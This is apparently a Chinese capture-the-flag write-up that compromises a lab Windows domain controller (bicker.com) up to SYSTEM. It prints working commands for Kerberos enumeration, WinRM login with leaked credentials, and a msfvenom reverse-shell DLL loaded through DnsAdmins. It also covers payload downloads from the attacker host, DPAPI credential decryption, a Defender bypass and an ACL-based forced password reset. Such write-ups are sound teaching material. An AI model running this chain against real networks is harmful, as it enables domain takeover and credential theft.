一、信息收集

1. 主机发现

渗透测试的起点是在目标网络中识别存活主机。我们通过 `arp-scan` 对本地网段进行扫描，以定位我们的目标。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.205.1   00:50:56:c0:00:08       VMware, Inc.
192.168.205.2   00:50:56:fc:94:2f       VMware, Inc.
192.168.205.149 00:0c:29:07:21:7a       VMware, Inc.
192.168.205.254 00:50:56:ff:e4:86       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.994 seconds (128.39 hosts/sec). 4
responded
```

扫描结果明确指向 `192.168.205.149` 为本次测试的目标主机。

2. 端口与服务扫描

确定目标 IP 后，使用 Nmap 进行深度探测，以绘制出目标的攻击面。首先进行全端口 TCP 连接扫描，确保不遗漏任何开放的服务。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 -sT -T4 192.168.205.149 -oA nmapscan/ports
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-16 09:37 EDT
Nmap scan report for bicker.com (192.168.205.149)
Host is up (0.00048s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49669/tcp open  unknown
63661/tcp open  unknown
```

```
63662/tcp open  unknown
63682/tcp open  unknown
MAC Address: 00:0C:29:07:21:7A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 90.01 seconds
```

在识别出开放端口后，我们针对这些端口进行更详细的服务版本探测和默认脚本扫描，以获取操作系统、域名、主机名等关键信息。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -
p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49664,49669,63661,63
662,63682 -sC -sV -T4 192.168.205.149 -oA nmapscan/xiports
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-16 09:40 EDT
Nmap scan report for bicker.com (192.168.205.149)
Host is up (0.00023s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-08-
16 13:40:55Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain:
bicker.com0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
...
| rdp-ntlm-info:
|   Target_Name: BICKER
|   NetBIOS_Domain_Name: BICKER
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: bicker.com
|   DNS_Computer_Name: dc.bicker.com
...
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
...
```

扫描结果分析与解读：
综合扫描结果，目标主机的画像变得极为清晰：这是一台主机名为 `DC` 的 Windows 域控制器，其 DNS 域名为 `bicker.com`。大量开放的 AD 相关端口（Kerberos, LDAP, SMB）证实了这一点。一个重要的发现是 SMB 签名被强制启用（`Message signing enabled and required`），这增加了网络层的安全性，可以有效防御 NTLM Relay 等中间人攻击。

端口	服务	作用/风险提示
53/tcp	DNS	域名系统，可用于枚举 SRV 记录，绘制域内服务拓扑。
88/tcp	Kerberos	域认证核心，是进行用户名枚举（Kerbrute）和 AS-REP Roasting 攻击的切入点。
139/445	SMB	文件共享服务，可用于枚举共享、检查 Null Session 漏洞。
389/636	LDAP/LDAPS	轻量级目录访问协议，是查询 AD 数据库以获取用户、组、OU 等信息的标准接口。
3268/3269	全局编录 (GC)	AD林的索引服务，允许在不知道对象所在域的情况下进行快速搜索。
5985/tcp	WinRM (HTTP)	Windows 远程管理服务，获得凭据后，这是执行 PowerShell 命令、实现交互式控制的首选通道。
3389/tcp	RDP	远程桌面协议，是图形化登录的入口，可用于凭据爆破或哈希传递。

3. Active Directory 服务枚举

在确认目标为域控后，我们针对其核心服务进行更具针对性的信息收集。

- **DNS SRV 记录查询**
  通过 `dig` 查询 SRV 记录，可以精确地确认提供关键服务的服务器主机名。

  ```
  ┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
  └─$ dig @192.168.205.149 -t SRV _kerberos._tcp.bicker.com
  ...
  ;; ANSWER SECTION:
  _kerberos._tcp.bicker.com. 600  IN      SRV     0 100 88 dc.bicker.com.
  ...
  ```

  查询结果进一步证实了 Kerberos (KDC), LDAP, 和全局编录 (GC) 服务均由 `dc.bicker.com` (`192.168.205.149`) 提供。

- **LDAP 匿名绑定探测**
  尝试在未提供任何凭据的情况下查询 LDAP，探测是否存在允许匿名枚举的常见配置错误。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ldapsearch -x -H ldap://192.168.205.149 -b "DC=bicker,DC=com"
# extended LDIF
...
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A58, comment: In order to perform this
opera
 tion a successful bind must be completed on the connection., data 0, v4f7c

# numResponses: 1
```

服务器拒绝了匿名查询，表明其 LDAP 服务进行了基本的安全加固。

- **Kerberos 用户名枚举**
  利用 Kerberos 协议在处理用户存在与否时返回不同错误代码的特性，可以使用 `kerbrute` 等工具高效地验证用户名列表。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ kerbrute userenum --dc 192.168.205.149 -d bicker.com
/usr/share/seclists/Usernames/cirt-default-usernames.txt
...
2025/08/16 09:46:41 >  [+] VALID USERNAME:       ADMINISTRATOR@bicker.com
2025/08/16 09:46:41 >  [+] VALID USERNAME:       Administrator@bicker.com
2025/08/16 09:46:41 >  [+] VALID USERNAME:       Guest@bicker.com
...
```

该步骤成功验证了 `administrator`，`guest` 等多个内置账户的存在，为后续的凭据攻击提供了目标。

- **AS-REP Roasting 攻击尝试**
  这是一种针对禁用了 Kerberos 预身份验证的用户的攻击。如果存在此类用户，攻击者可以为其请求 TGT，并离线爆破其中包含的加密数据以获取用户密码。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py
bicker.com/ -usersfile user -format hashcat -outputfile hash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User guest doesn't have UF_DONT_REQUIRE_PREAUTH set
```

尝试失败，表明目标域中的用户均开启了预身份验证，此攻击路径无效。

二、初步突破

1. SMB 匿名共享探测

尽管 LDAP 匿名绑定被禁用，但 SMB 服务可能存在独立的访问控制配置。我们检查是否存在无需凭据即可访问的共享。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ smbclient -L //192.168.205.149 -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      远程管理
        C$              Disk      默认共享
        IPC$            IPC       远程 IPC
        NETLOGON        Disk      Logon server share
        puppy           Disk
        SYSVOL          Disk      Logon server share
...
```

发现了一个名为 `puppy` 的匿名可读共享，这是一个潜在的信息泄露点。我们连接该共享并下载其中的文件。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ smbclient //192.168.205.149/puppy -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Aug 15 00:06:51 2025
  ..                                DHS        0  Fri Aug 15 05:20:46 2025
  puppy.jpg                           A    57634  Fri Aug 15 00:06:51 2025

                12923135 blocks of size 4096. 9313382 blocks available
smb: \> get puppy.jpg
getting file \puppy.jpg of size 57634 as puppy.jpg (3752.2 KiloBytes/sec)
(average 3752.2 KiloBytes/sec)
smb: \> exit
```

2. 开源情报 (OSINT) 获取凭据

对下载的 `puppy.jpg` 文件进行分析，寻找可能存在的线索。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ strings puppy.jpg|head -n 10
JFIF
Exif
bilibili
Google
uid=3546958956333518
0220
 , #&')*)
-0-(0%()(
(((((((((((((((((((((((((((((((((((((((((((((((((((((((((
a2#q
```

文件字符串中包含一个 Bilibili UID (`3546958956333518`)。通过在 Bilibili 网站上搜索此 UID，我们找到了一个用户发布的动态，其中直接泄露了一组凭据：
`tindalos:Th3C@llOfCtHu1hu!`

3. 获得初始 Shell

利用这组意外获得的凭据，我们尝试通过之前发现的 WinRM 服务 (端口 5985) 登录目标主机。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/tmp]
└─$ evil-winrm -i 192.168.205.149 -u 'tindalos' -p 'Th3C@llOfCtHu1hu!'

Evil-WinRM shell v3.7
...
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tindalos\Documents>
```

连接成功！我们获得了一个属于域用户 `bicker\tindalos` 的交互式 PowerShell Shell，完成了初步突破。

三、权限提升

1. 内部信息收集与态势感知

立足于当前 Shell，首要任务是全面了解 `tindalos` 用户的权限和在域中的角色。

```
*Evil-WinRM* PS C:\Users\tindalos\Documents> whoami /all

用户信息
----------------
用户名           SID
================ ============================================
bicker\tindalos S-1-5-21-298176814-2846777796-698167141-1103

组信息
-----------------
组名                                           类型    SID
                属性
============================================== ======
================================================
=======================================
...
BICKER\DnsAdmins                                别名    S-1-5-21-298176814-2846777796-
698167141-1101 必需的组，启用于默认，启用于组，本地组
...
```

关键发现： `whoami /all` 的输出显示，用户 `tindalos` 隶属于 `DnsAdmins` 组。这是一个极度危险的内置组，其成员通常可以通过滥用 DNS 服务配置来实现权限提升至域控的 `SYSTEM`。

2. 提权路径分析：两条道路

基于 `DnsAdmins` 的权限，我们有两条提权路径可选：

1. **捷径（高噪音）：** 直接配置恶意 DLL，然后通过重启整个靶机来触发执行。此方法简单粗暴，但动静巨大，在真实环境中应极力避免。
2. **预期解（低噪音）：** 深入挖掘信息，寻找一个拥有重启 DNS 服务权限的用户，通过一系列横向移动，最终在不重启服务器的情况下触发漏洞。

3. 提权路径一：捷径（重启靶机）

此路径利用 `DnsAdmins` 权限设置好后门，然后通过重启靶机这一“歪门邪道”来完美跳关。

- **生成恶意 DLL**
  使用 `msfvenom` 创建一个反向连接 Shell 的 DLL。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.205.128
LPORT=8888 -f dll -o dns.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from
the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: dns.dll
```

- **上传并配置 DLL**
  在 `tindalos` 的 Shell 中，从 Kali 下载此 DLL，并使用 `dnscmd.exe` 将其注册为 `ServerLevelPluginDll`。

```
*Evil-WinRM* PS C:\Users\tindalos\Documents> Invoke-WebRequest -Uri
"http://192.168.205.128/dns.dll" -OutFile
"C:\Users\tindalos\Documents\dns.dll"

*Evil-WinRM* PS C:\Users\tindalos\Documents> dnscmd.exe localhost /config
/serverlevelplugindll C:\Users\tindalos\Documents\dns.dll

注册属性 serverlevelplugindll 成功重置。
命令成功完成。
```

- **监听并（模拟）重启**
  在 Kali 上开启监听。此时，通过虚拟化管理平台重启目标服务器，即可触发 DLL 加载。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.149] 62282
Microsoft Windows [版本 10.0.20348.169]
(c) Microsoft Corporation保留所有权利。

C:\Windows\system32>whoami
nt authority\system
```

  此路径虽然可行，但绕过了靶机设计的核心挑战。

4. 提权路径二：预期解（精准权限利用）

这条路径考验的是在受限环境下的深度信息挖掘和横向移动能力，是更为专业和隐蔽的手法。

4.1. 本地凭据挖掘

- **枚举域用户**
  为规划横向移动路径，我们枚举域内的其他用户及其组关系。

```
*Evil-WinRM* PS C:\Users\tindalos\Documents> net user jianyin /domain
...
全局组成员              *Domain Users         *DNSRestarters
*Evil-WinRM* PS C:\Users\tindalos\Documents> net user lihua /domain
...
全局组成员              *Domain Users         *AccountModifier
```

  发现了两个关键的自定义组：`DNSRestarters` 和 `AccountModifier`。

- **绕过 Windows Defender**
  尝试执行`Seatbelt.exe`被 Defender 拦截。通过探索发现 `C:\wirteTEMP` 是一个白名单目录，后续工具均在此目录下执行。

- **利用 DPAPI 解密凭据**
  技术背景：Windows 使用数据保护 API (DPAPI) 来加密存储在用户配置文件中的敏感信息。由于我们已知 `tindalos` 的明文密码，可以解密其 DPAPI 主密钥，进而解密由它保护的其他凭据。

```
*Evil-WinRM* PS C:\wirteTEMP> Invoke-WebRequest -Uri
"http://192.168.205.128/SharpDPAPI.exe" -OutFile
"C:\wirteTEMP\SharpDPAPI.exe"
*Evil-WinRM* PS C:\wirteTEMP> ./SharpDPAPI.exe credentials /unprotect
/credfile:"C:\Users\tindalos\AppData\Roaming\Microsoft\Credentials\A2E4656BC
BABFD9279E090E8482A7141" /sid:S-1-5-21-298176814-2846777796-698167141-1103
/password:"Th3C@llOfCtHu1hu!"
...
  CredFile           : A2E4656BCBABFD9279E090E8482A7141
    ...
    UserName         : lihua
    Credential       : hello%2633
...
```

  执行成功！我们从 `tindalos` 的本地存储中，解密出了另一位用户 `lihua` 的明文密码：`hello%2633`。

4.2. 横向移动与 ACL 深度枚举

获得了 `lihua` 的凭据，我们立即横向移动到该用户的会话中，并深入挖掘其所属的 `AccountModifier` 组到底拥有何种权限。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ evil-winrm -i 192.168.205.149 -u 'lihua' -p 'hello%2633'
...
*Evil-WinRM* PS C:\Users\lihua\Documents> whoami
bicker\lihua
```

为了精确枚举 Active Directory 的访问控制列表 (ACL)，我们上传并加载强大的 `PowerView.ps1` 脚本。

```
*Evil-WinRM* PS C:\wirteTEMP> Invoke-WebRequest -Uri
"http://192.168.205.128/PowerView.ps1" -OutFile "C:\wirteTEMP\pv.ps1"

*Evil-WinRM* PS C:\wirteTEMP> . .\pv.ps1
```

加载后，我们使用 PowerView 查询 `AccountModifier` 组具体对 `jianyin` 用户拥有哪些权限。

```
*Evil-WinRM* PS C:\wirteTEMP> Find-InterestingDomainAcl -ResolveGUIDs | Where-
Object { $_.ObjectDN -match "jianyin" } | Format-List *

ObjectDN                : CN=jianyin,CN=Users,DC=bicker,DC=com
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : ExtendedRight
ObjectAceType           : User-Force-Change-Password
AceFlags                : None
AceType                 : AccessAllowedObject
InheritanceFlags        : None
SecurityIdentifier      : S-1-5-21-298176814-2846777796-698167141-2107
IdentityReferenceName   : AccountModifier
IdentityReferenceDomain : bicker.com
IdentityReferenceDN     : CN=AccountModifier,CN=Users,DC=bicker,DC=com
IdentityReferenceClass  : group
```

分析结果：输出极为精确地告诉我们，`AccountModifier` 组对 `jianyin` 用户对象拥有的并非通用写入权，而是一项特定的**扩展权限 (Extended Right)**：`User-Force-Change-Password`。

4.3. 精准利用 ACL 控制用户

要利用这一特定的委派权限，必须使用能够调用相应 ADSI 接口的工具。PowerView 的 `Set-DomainUserPassword` 函数正是为此设计的。

- **处理 `SecureString`**
  技术背景：为安全起见，现代 PowerShell cmdlet 通常要求密码参数为 `SecureString` 类型，这是一种在内存中加密存储的字符串对象。我们需要先将明文密码进行转换。

  ```
  *Evil-WinRM* PS C:\wirteTEMP> $SecurePassword = ConvertTo-SecureString
  'P@ssword123!' -AsPlainText -Force
  ```

- **重置密码**
  现在，我们可以调用函数，并传入转换后的 `SecureString` 对象。

  ```
  *Evil-WinRM* PS C:\wirteTEMP> Set-DomainUserPassword -Identity jianyin -
  AccountPassword $SecurePassword -Verbose
  Verbose: [Set-DomainUserPassword] Attempting to set the password for user
  'jianyin'
  Verbose: [Set-DomainUserPassword] Password for user 'jianyin' successfully
  reset
  ```

  命令成功执行，我们已完全控制 `jianyin` 账户。

4.4. 触发漏洞，获取 SYSTEM 权限

至此，所有拼图都已集齐：`tindalos` 放置了后门，`lihua` 帮助我们控制了 `jianyin`，而 `jianyin` 正是那个拥有“引爆”权限的人。

- **使用新凭据登录**
  我们现在以 `jianyin` 的身份登录，他的密码已被我们重置为 `P@ssword123!`。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ evil-winrm -i 192.168.205.149 -u 'jianyin' -p 'P@ssword123!'
...
*Evil-WinRM* PS C:\Users\jianyin\Documents> whoami
bicker\jianyin
```

- **准备监听并重启服务**
  在 Kali 上开启 Netcat 监听，准备接收反弹 Shell。然后在 `jianyin` 的会话中，执行重启 DNS 服务的命令。

```
# 在 Kali 终端
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
```

```
# 在 jianyin 的 evil-winrm shell 中
*Evil-WinRM* PS C:\Users\jianyin\Documents> Restart-Service DNS
```

- **接收 Shell，提权成功**
  DNS 服务重启时，加载了我们预先设置的恶意 DLL。Kali 的监听窗口成功接收到连接，我们获得了一个 `NT AUTHORITY\SYSTEM` 权限的 shell。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.149] 58463
Microsoft Windows [版本 10.0.20348.169]
(c) Microsoft Corporation保留所有权利。

C:\Windows\system32>whoami
nt authority\system
```

四、夺取凭证

获得域控的最高权限后，我们直接进入管理员桌面，查找并读取最终的 flag。

```
C:\Windows\system32>cd C:\Users\Administrator\Desktop\

C:\Users\Administrator\Desktop>dir
 驱动器 C 中的卷是 新加卷
 卷的序列号是 D05C-A317

 C:\Users\Administrator\Desktop 的目录
```

```
2025/08/15  18:36    <DIR>          .
2025/08/15  16:59    <DIR>          ..
2025/08/15  17:06             2,288 Microsoft Edge.lnk
2025/08/15  18:37                54 root.txt
               2 ]          2,342
               2 L¼ 38,144,806,912

C:\Users\Administrator\Desktop>type root.txt
root{7c1e4b8a2d6f3b9c5e0a}
```

成功获取 root flag，本次渗透测试圆满结束。